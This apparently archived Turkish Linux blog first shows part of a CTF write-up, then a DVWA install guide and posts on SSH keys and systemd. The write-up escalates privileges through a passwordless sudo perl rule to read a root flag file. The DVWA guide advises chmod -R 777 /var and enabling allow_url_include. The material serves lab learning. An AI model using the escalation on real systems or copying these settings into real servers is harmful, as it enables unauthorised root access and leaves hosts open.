<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-3fea-ad91-bbd8df875a91" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span></span><span id="docs-internal-guid-d728e910-edd8-712f-554f-86fbb3d92dad" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh3.googleusercontent.com/lpqInDVePF1uzTG4Pfqbzk7X9dXanhyH28u3-A2tSJ72FT6QnfOn-Vtm-98SyCuwl-b2Qwp9-9Grk9Tqo6lDl0R36dcg7WBQjepDGVJ31uu5l3MI7gCmxai-Fwehle71Alx4GFpf" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span><br />
<br />
<br />
<br />
<br />
<div dir="ltr" id="docs-internal-guid-d728e910-eddd-50b2-0b34-e579fa0a97fd" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">www-data kullanıcı ile giriş yaptık. Okumamız gereken dosya /root dizini altında. </span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Bu dizine erişebilmemiz için ya root haklarına sahip olmamız gerekiyor ya da root haklarına sahip bir kullanıcıya erişmemiz gerekiyor.</span></div>
<br />
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">sudo -l komutu ile /etc/sudoers dosyasındaki yetkilendirilmiş kullanıcıları görüntülüyoruz.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edde-f7c8-101d-2b80b7e67423" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="169" src="https://lh6.googleusercontent.com/IVTOE-5mCRwsIp_l697kSzV9iIRjhjLf7skEshNPtXugk3K5kzFjNEm9iJxCwFyCT7fAoKyHuTcipDzvHw2gock4SMvPWkxpyQBAagYTX2bSkbdrzEzhn0U21IEuM4nzaolra2Rm" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span> </span></div>
<br />
<br />
<br />
<div dir="ltr" id="docs-internal-guid-d728e910-eddf-140f-d24f-72359d7891a0" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Perl kullanıcısı parolasız olarak root yetkisi ile çalıştığını görüyoruz.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">sudo perl -e ‘exec “cat /root/flag.txt”;’ komutu ile de root dizini altındaki flag dosyamıza erişebiliyoruz.</span></div>
<br />
<br />
<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-3fea-ad91-bbd8df875a91" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span></span><span id="docs-internal-guid-d728e910-eddf-2a60-f6d5-3ebec086cb2d" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh4.googleusercontent.com/MSP47AApc10BInObfSOMCeUYt-nXPNZHytphr2Dj_kPtD4KrhZJNgo1V4f59dI9BIc3ZgYzgHXdZSKAYg-rJMeFXTw-K411I5fQ3vT79DPjGdTDHN1UDu1os5QbmMcIjGPzFP8W7" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span><br />
<br />
<br />
<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-3fea-ad91-bbd8df875a91" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span> </span>
Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-20342643198509818442017-06-29T06:46:00.003-07:002017-06-29T06:47:21.587-07:00DVWA Kurulumu<br />
DVWA, üzerinde web zafiyetlerini barındıran local olarak denemeler yapabileceğimiz açık kaynak kodlu bir yazılımdır.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8z71cwO0G8gqlaKmsItGewISqMUhaNak8XN0WX0cdfqNBIWCCL601AA6xnBaLjlu_nFgcwPkRze_gvm-fkFp49EVlWHqNDFFqbGTbgFHYoVOnEUI2E2hPvXGoE28Umuo7isMW1ApBlrIA/s1600/slider1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="523" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8z71cwO0G8gqlaKmsItGewISqMUhaNak8XN0WX0cdfqNBIWCCL601AA6xnBaLjlu_nFgcwPkRze_gvm-fkFp49EVlWHqNDFFqbGTbgFHYoVOnEUI2E2hPvXGoE28Umuo7isMW1ApBlrIA/s320/slider1.png" width="320" /></a></div>
<br />
<br />
DVWA kurulumunu Ubuntu 16.10 sürümünde yapacağım. Kuruluma geçmeden önce sisteminizde LAMP ın kurulu olması gerekmektedir.<br />
<br />
Kurulumu internette kolaylıkla bulunsada ben kurmaya çalıştığımda defalarca aynı hataları aldım. Tekrar karşılaşılması durumu içinde dökümantasyon oluşturmaya karar verdim. Umarım aynı durumla karşılaşanlar içinde faydalı olur.<br />
<br />
--------<br />
<br />
LAMP kurulu sistemimizde öncelikle apache2 ve mysql'in çalıştığından emin olmak için.<br />
<br />
Komutları giriyoruz.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">systemctl status apache2
systemctl status mysql
</pre>
</div>
<br />
Eğer ingilizce olarak kullanıyorsanız çıktılarda belirgin şekilde <b><span style="color: lime;">active(running) </span></b><span style="color: lime;"><span style="color: black;">yazması gerekecektir. deactive durumunda ise tekrar kontrol etmeniz gerekir.</span></span><br />
<br />
<span style="color: lime;"><a href="https://github.com/ethicalhack3r/DVWA"><span style="color: black;">DVWA </span></a><span style="color: black;"> adresine tıklayarak Github'tan indirebilirsiniz. ya da git kullarak direk localhost'un çalıştığı dizini göstererek indirebilirsiniz.</span></span><br />
<br />
<span style="color: lime;"><span style="color: black;">İndirilen dosyayı zip'ten çıkardıktan sonra <b>/var/www/html </b>içine klasör halinde atıyoruz.</span></span><br />
<br />
<span style="color: lime;"><span style="color: black;">Not: localhostta çalışırken olası izin hatalarıyla karşılamamak için dosyaları attıktan sonra /var dizinine recursive olarak bütün izinleri verelim.</span></span><br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">chmod <span style="color: #333333;">-</span>R <span style="color: #0000dd; font-weight: bold;">777</span> <span style="color: #333333;">/</span>var
</pre>
</div>
<br />
<br />
Daha sonra tarayıcıya localhost/DVWA-master yazdığımızda bize aşağıdaki uyarıyı verecek.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmDLzx2AA_vwz3hjQlPUK_a5XIH3dDaJ80xYdvu9fLpsaqhtoDK4ZjchBQ_oY3GDRwSHksXYcyIQijkLeUbBnrX3x17uLa_KRO0xlDuQpLKld0RG_0dckGoriJ9RBFOGl7rjpo7GDxfbiK/s1600/Screenshot+from+2017-06-29+14-22-23.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="56" data-original-width="1101" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmDLzx2AA_vwz3hjQlPUK_a5XIH3dDaJ80xYdvu9fLpsaqhtoDK4ZjchBQ_oY3GDRwSHksXYcyIQijkLeUbBnrX3x17uLa_KRO0xlDuQpLKld0RG_0dckGoriJ9RBFOGl7rjpo7GDxfbiK/s640/Screenshot+from+2017-06-29+14-22-23.png" width="640" /></a></div>
<br />
<!-- HTML generated using hilite.me --><br />
<!-- HTML generated using hilite.me --><br />
<!-- HTML generated using hilite.me --><br />
<!-- HTML generated using hilite.me --><br />
<!-- HTML generated using hilite.me -->Bunun için :<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">cp <span style="color: #333333;">/</span>var<span style="color: #333333;">/</span>www<span style="color: #333333;">/</span>html<span style="color: #333333;">/</span>DVWA<span style="color: #333333;">-</span>master<span style="color: #333333;">/</span>config<span style="color: #333333;">/</span>config<span style="color: #333333;">.</span>inc<span style="color: #333333;">.</span>php<span style="color: #333333;">.</span>dist <span style="color: #333333;">/</span>var<span style="color: #333333;">/</span>www<span style="color: #333333;">/</span>html<span style="color: #333333;">/</span>DVWA<span style="color: #333333;">-</span>master<span style="color: #333333;">/</span>config<span style="color: #333333;">/</span>config<span style="color: #333333;">.</span>inc<span style="color: #333333;">.</span>php
</pre>
</div>
<br />
<br />
<br />
Daha sonra vim kullanarak kopyalayıp yeniden isimlendirdiğimiz dosyanın içine giriyoruz.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">vim <span style="color: #333333;">/</span>var<span style="color: #333333;">/</span>www<span style="color: #333333;">/</span>html<span style="color: #333333;">/</span>DVWA<span style="color: #333333;">-</span>master<span style="color: #333333;">/</span>config<span style="color: #333333;">/</span>config<span style="color: #333333;">.</span>inc<span style="color: #333333;">.</span>php
</pre>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLSfpfif3nZCCJIOZUIH1PjLPDfCP9RM9fkRwQ4G-ZwqtTHuUkRJMOW3g6JioZLn5BIEtA2dWytiuAGHgEeGr-2mOdCe2yKd216oHz5nfAN7hW_CthbutTZVDWa0mT9JJ18fcrqJCzhgmt/s1600/Screenshot+from+2017-06-29+14-33-05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="651" data-original-width="1162" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLSfpfif3nZCCJIOZUIH1PjLPDfCP9RM9fkRwQ4G-ZwqtTHuUkRJMOW3g6JioZLn5BIEtA2dWytiuAGHgEeGr-2mOdCe2yKd216oHz5nfAN7hW_CthbutTZVDWa0mT9JJ18fcrqJCzhgmt/s640/Screenshot+from+2017-06-29+14-33-05.png" width="640" /></a></div>
<br />
<br />
<b><br /></b>
<b>db_password </b>kısmına mysql kurarken oluşturduğumuz parolayı giriyoruz.<br />
<br />
<br />
Hemen aşağıda <b>recaptcha_public_key</b> bölümü var. Üzerinde yorum satırı ile gösterilen google linkine tıklayıp gmail hesabımızı kullanarak kolaylıkla bir public key alabilirsiniz. İki adet key verecektir. Private olana ihtiyacımız yok. Yalnızca public key i bu bölüme yazıp kaydediyoruz.<br />
<br />
( Bunları yapmadığınızda reCaptchaKey : Missing şeklinde bir uyarı veriyor )<br />
<br />
Karşılaştığım hataları o an screenshot almadığım için yazarak anlatıyorum.<br />
<br />
Daha sonra tekrardan localhost/DVWA-master dediğinizde setup ekranı karşınıza gelecektir. Normalde bu kısımda direk create database butonuna tıklayarak kurulumu yapıp yazılımı kullanabiliyorsunuz. Fakat ben yukardaki captcha hatası ve aşağıdaki diğer hataları aldığım için onlarında çözümlerini anlatacağım.<br />
<br />
<br />
PHP function allow_url_include: <span style="color: red;"><b><span class="success">Enabled</span></b></span><br />
<br />
şeklinde bir uyarı veriyor.<br />
<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"> vim <span style="color: #333333;">/</span>etc<span style="color: #333333;">/</span>php<span style="color: #333333;">/</span><span style="color: #6600ee; font-weight: bold;">7.0</span><span style="color: #333333;">/</span>apache2<span style="color: #333333;">/</span>php<span style="color: #333333;">.</span>ini
</pre>
</div>
<br />
Bu hatayı çözmek için php.ini dosyamızda allow_url_include kısmını bulup Off olan kısmı <b>On</b> şeklinde düzeltiyoruz.<br />
<br />
Daha sonra setup check ekranında<br />
<br />
PHP module gd: <span style="color: red;"><b><span class="success">Installed</span></b></span><br />
<br />
diye bir hata daha veriyor. Bunun içinde php için gd kurulumu yapıyoruz. Php 7 sürümü için :<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">sudo apt<span style="color: #333333;">-</span>get install php<span style="color: #333333;">-</span>gd
</pre>
</div>
<br />
Artık sorunsuz bir şekilde DVWA'yı kurmanız gerekir.<br />
<br />
<br />
<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-86892824842546022032017-02-18T06:34:00.000-08:002017-02-18T06:34:01.971-08:00Ubuntu SSH Kurulumu<b>SSH </b>(Secure Shell ) <b> </b>: Güvenli veri iletimi için şifrelenmiş ağ protokolüdür. SSH ile bağlantı kuran cihazlar veri aktarımları ve diğer işlemleri şifrelenmiş bir ağ prokolü üzerinden yapar. SSH private key ve public key adında iki anahtar bulunur.<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxL9D4H5zolBP6C_YsYxCojVpC9Btn07DhhWKi2skSz0U66uXyrtkTi89pdRrRw12GJMpcKnZuCs5b-y2VlKcDl3OTu9ibkSgvKs1F5yYZChiZWucBWFpbJeUlAg0MQqZd1A9zwKszHo3h/s1600/index.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxL9D4H5zolBP6C_YsYxCojVpC9Btn07DhhWKi2skSz0U66uXyrtkTi89pdRrRw12GJMpcKnZuCs5b-y2VlKcDl3OTu9ibkSgvKs1F5yYZChiZWucBWFpbJeUlAg0MQqZd1A9zwKszHo3h/s400/index.png" width="400" /></a></div>
<br />
Yukardaki görselde iki client ve bir server bulunuyor. Clientlar private ve public iki adet anahtara sahip. .pub uzantılı dosya clientların public anahtarları. Diğer anahtarları ise private olanlar. Bağlanmak istediği sisteme public anahtarın taşınması gerekir. Private key'in ise bağlantıyı kuracağı sistemde bulunması gerekir. Digitalocean vs. sunucu hizmeti sağlayan yerlerden sunucu kiralamak istediğinizde sizden eğer şifresiz bağlanmak istiyorsanız, satın alırken public anahtarınızı soracaktır. Bu şekilde bağlantı kurmak kullancı adı şifre aşamasını ortadan kaldırır ve eğer birden fazla sunucu yönetiyorsanız hem daha pratik hem de güvenli bağlantı kurmanıza olanak sağlar. Bruteforce gibi saldırılarıda bu sayede engellemiş olursunuz.<br />
<br />
<br />
<b>SSH Servisi Kurulumu</b><br />
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo apt-get install openssh-server
sudo apt-get install openssh-client
</code></pre>
<br />
Kurulum gerçekleştirdek sonra SSH Key oluşturmak için :<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> ssh-keygen -t rsa
</code></pre>
<br />
komutu girilir. rsa diye yazılan keyin oluşturulurken kullanılan algoritma.<br />
<br />
İlk olarak private key için konum soruyor. Default olarak bırakırsanız gösterdiği yerde oluşacaktır. Daha sonrası private key için bir parola soruyor. Eğer buraya bir parola girerseniz bağlantı yaparken private keyinizin parolasını size sorar.<br />
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [root@hakan06 ~]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
52:7f:87:d3:70:97:cc:77:6d:3b:c5:b1:27:7f:c6:45 root@hakan06
The key's randomart image is:
+--[ RSA 2048]----+
| .E|
| oo=|
| . . o=@|
| . . = *B|
| . S . + oo=|
| . . o .o|
| |
| |
| |
+-----------------+
</code></pre>
<br />
Private key /root/.ssh/id_rsa public key ise /root/.ssh/id_rsa_pub dosyasıdır Cat komutu ile bu iki keyi görüntüleyebilirsiniz.<br />
<br />
Burada ssh için ayar dosyası bulunmaktadır.<br />
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> hakan@h4kan:/etc/ssh$ cat /etc/ssh/sshd_config
</code></pre>
<br />
Buradan ssh için varsayılan ayarlar bulunmaktadır. Detaylıca incelemek için yukarıdaki kodu yazarak görüntüleyebilirsiniz.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-14693681011481715152017-02-12T09:36:00.002-08:002017-02-12T09:36:33.021-08:00Linux sistemlerde systemd ile servislerin yönetimi<style type="text/css">p { margin-bottom: 0.1in; line-height: 120%; }</style>
<br />
<div style="line-height: 100%; margin-bottom: 0in;">
<b>systemd </b>: Görevi
bilgisayardaki sistem ve servislerin çalışmasını organize
etmektir. <b>Init</b> sisteminin yetersiz kalması sonucu
geliştirilmektedir.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-t7kHBZBjkU473o2iFB3pJU9X0Thaap3biMfTCdDYFloBuy17cusgDjFc6g5uTYNtAGordoX0Cqzos1FJ_-hgMGB9LMu_OCnDYElN7x4-HpnQsWBpqMy7M_uSKlKbfSvpBWdvE45dRzAr/s1600/systemd_1.jpg.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-t7kHBZBjkU473o2iFB3pJU9X0Thaap3biMfTCdDYFloBuy17cusgDjFc6g5uTYNtAGordoX0Cqzos1FJ_-hgMGB9LMu_OCnDYElN7x4-HpnQsWBpqMy7M_uSKlKbfSvpBWdvE45dRzAr/s1600/systemd_1.jpg.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Linux sistemin açılışı </td></tr>
</tbody></table>
</div>
<br />
<br />
Klasik linux
açılışı<br />
<ul>
<li>init yapısı –
Sıralama zorunluluğu
</li>
<li>
Bir servis
başlamadan, ona ihtiyaç duyan sıradaki servis başlatılmaz.</li>
<li>
-Birbirine bağlı
servisler, soketler ile iletişim</li>
</ul>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
systemd açılışı</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Systemd, tüm hizmet
ve servislerin ihtiyaç duyduğu bağlanma</div>
<div style="line-height: 100%; margin-bottom: 0in;">
noktalarını,
ilgili hizmet başlamasa dahi önceden başlatır ve diğer</div>
<div style="line-height: 100%; margin-bottom: 0in;">
bekleyen
programların sırada beklemesini ortadan kaldırır. Bu şekilde
systemd birbirine bağlı servisleri birbirlerine ihtiyaç duymadan
başlatır.</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
<b>Debian, Oracle,
RHEL, Suse</b> gibi linux dağıtımları eski <b>SystemV</b> yerine default
olarak systemd kullanmaya başladılar. Systemd, yalnızca açılış
servislerinin düzenlenmesini üstlenen init sistemine göre daha
karmaşık, servisleri paralel olarak çalıştırabilme, automount,
journal, system state snapshot desteği gibi bir çok özellik
barındırmaktadır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0yDUofx58hp2aApLvJUpHISfL6bR0Dv6n6sFmlFXtQzt-fJUushmEY6wsL2drQSYC5HqCyvO-81lBsG68LLn47HsYrPoW1roRQZUiMguXGKak-pSDihd76-ugoMgQRfaihp8nK46986Dy/s1600/systemd-meme.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0yDUofx58hp2aApLvJUpHISfL6bR0Dv6n6sFmlFXtQzt-fJUushmEY6wsL2drQSYC5HqCyvO-81lBsG68LLn47HsYrPoW1roRQZUiMguXGKak-pSDihd76-ugoMgQRfaihp8nK46986Dy/s320/systemd-meme.jpg" width="320" /></a></div>
</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br />
<b>Unit Files</b><br />
<br />
Unit file default olarak <b>"/etc/systemd/system/" </b>dizini altında bulunur. Bu dizinlerde birbirinden farklı uzanntılara sahip bir çok dosya vardır. Bu uzantılar birbirinden farklı unit tiplerini gösterir. <b>.service </b>uzantısına sahip dosyalar servislere ait unit dosyaları tutar. <b>.target</b> uzantılı dosyalar site bir çok service unit'nin gruplanmış halini gösterir. <b>.mount</b> uzantılı dosyalar sisteme mount edilmesi istenilen disk bölümlerini için tanımlanmış configleri gösterirken. <b>.swap</b> uzantılı dosyalar ise swap alanları için yapılandırma dosyalarını içerir.<br />
<br />
<b> </b><br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@h4kan:/home/hakan# cd /etc/systemd/
root@h4kan:/etc/systemd# ls
bootchart.conf logind.conf resolved.conf system.conf user
journald.conf network system timesyncd.conf user.conf
root@h4kan:/etc/systemd# cd system
root@h4kan:/etc/systemd/system# ls
bluetooth.target.wants hybrid-sleep.target.wants
dbus-org.bluez.service multi-user.target.wants
dbus-org.freedesktop.Avahi.service network-online.target.wants
dbus-org.freedesktop.ModemManager1.service paths.target.wants
dbus-org.freedesktop.nm-dispatcher.service printer.target.wants
dbus-org.freedesktop.thermald.service shutdown.target.wants
default.target.wants sockets.target.wants
display-manager.service sshd.service
display-manager.service.wants suspend.target.wants
getty.target.wants sysinit.target.wants
graphical.target.wants syslog.service
hibernate.target.wants timers.target.wants
</code></pre>
<br />
<br />
<br />
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Servislerin systemd
ile yönetilmesi</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Servisleri yönetmek
için yaygın olarak systemctl aracı kullanılır.</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Sytnax : <b>systemctl
start | stop | restart | reload | status servisadi.service</b></div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl start
<hiz_adı>: Hizmet başlatma</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl stop
<hiz_adı>: Hizmet durdurma</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl restart
<hiz_adı>: Hizmeti yeniden başlatma</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl status
<hiz_adı> : Hizmetin durumu gösterme</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl enable
<hiz_adı>: Otomatik başlatma</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl disable
<hiz_adı>: Otomatik başlatma iptali</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl mask
<hiz_adı>: Servisi elle başlatmayı engelleme</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
# systemctl unmask
<hiz_adı>: Elle başlatma engelini kaldırma</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Linux sistemlerde
görevleri, hizmet süreçleri ( service / daemon ) yerine getirir.
Hizmet programları UNIX’te “<b>daemon</b>” olarak adlandırılır. Ve
daemonların adları d harfi ile biter. Örnek: httpd, sshd, syslogd,
crond, proftpd..<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR2wJMrUiKC7kkvrpqJa8saljXaWrNyqYjB_j6Sc5y_qfnzeG7WOEIZuskH1y54jyR7aaY2YI7_vnaezyMY5u4sjlz3S6Z2lD-euJSuIWc7cUoMgRoy77kpFfQ-sts9r-PkeCzcv69C1Z2/s1600/3ee53aac74997b59f45f6422495c0d3a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR2wJMrUiKC7kkvrpqJa8saljXaWrNyqYjB_j6Sc5y_qfnzeG7WOEIZuskH1y54jyR7aaY2YI7_vnaezyMY5u4sjlz3S6Z2lD-euJSuIWc7cUoMgRoy77kpFfQ-sts9r-PkeCzcv69C1Z2/s320/3ee53aac74997b59f45f6422495c0d3a.jpg" width="320" /></a></div>
</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Klasik linux
sistemlerinde hizmet programlarının betikleri “/etc/rc.d/init.d”
veya “/etc/init.d” dizinin altında tutulur. Bu betikler (start |
stop | restart | status | status | configtest) parametreleri
kullanılarak çalıştırılabilir. Bu yolla süreçlerin yönetimi
yapılır.</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
Hizmet süreçlerinin
daha kolay yapılması için systemctl kullanılır. Ben burada httpd
servisi için systemctl kullanarak apache servisini kullanacağım.</div>
<div style="line-height: 100%; margin-bottom: 0in;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0in;">
<b>systemctl list-units --type service</b> komutu ile sistemdeki bütün servisleri görüntüleriz. <br />
<br /></div>
